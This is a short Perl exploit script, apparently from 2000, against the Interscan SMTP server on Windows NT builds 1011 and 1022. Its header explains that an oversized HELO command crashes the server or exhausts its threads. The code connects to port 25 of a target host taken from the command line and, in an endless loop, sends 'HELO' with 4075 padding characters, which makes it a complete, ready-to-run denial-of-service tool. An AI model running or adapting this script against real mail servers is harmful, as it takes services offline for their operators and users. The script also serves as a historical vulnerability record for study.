
#!/usr/bin/perl

# (c) Alain Thivillon & Stephane Aubert 
#     Herve Schauer Consultants 2000
#     http://www.hsc.fr/
#
#     Do not use this stuff against Microsoft MX hosts :)
#
# Crash Interscan SMTP Server on Windows NT Version 3.32 Builds 1011 and 1022
# Depending of debugger installed on NT, crash can be immediat if you use
# Drwatson.32.exe (new connections get stuck), or can be limited to single
# thread if Auto=0 in NT Debug key. Interscan limits number of running
# threads (default 25) so it' very easy to exhaust all threads and finally
# force answer to '452 Too Busy'

use Socket;
use FileHandle;

$vict=$ARGV[0];

$AF_INET = 2;
$SOCK_STREAM = 1;
$port=25;
$sockaddr = 'S n a4 x8';

($name, $aliases, $type, $len, $thataddr) = gethostbyname($vict);
$that = pack($sockaddr, $AF_INET, $port, $thataddr);

while (1) {
  $mysock=new FileHandle;
  socket($mysock, $AF_INET, $SOCK_STREAM, $proto) || die "socket failed\n";
  connect($mysock, $that) || die "Connect failed\n";
  select($mysock); $| = 1; select(STDOUT); $| = 1;

  $line = <$mysock>;
  print $line; 
  print $mysock "HELO ",'a'x4075,"\r\n";
  $line = <$mysock>;
  print $line; 
  close $mysock; 
}

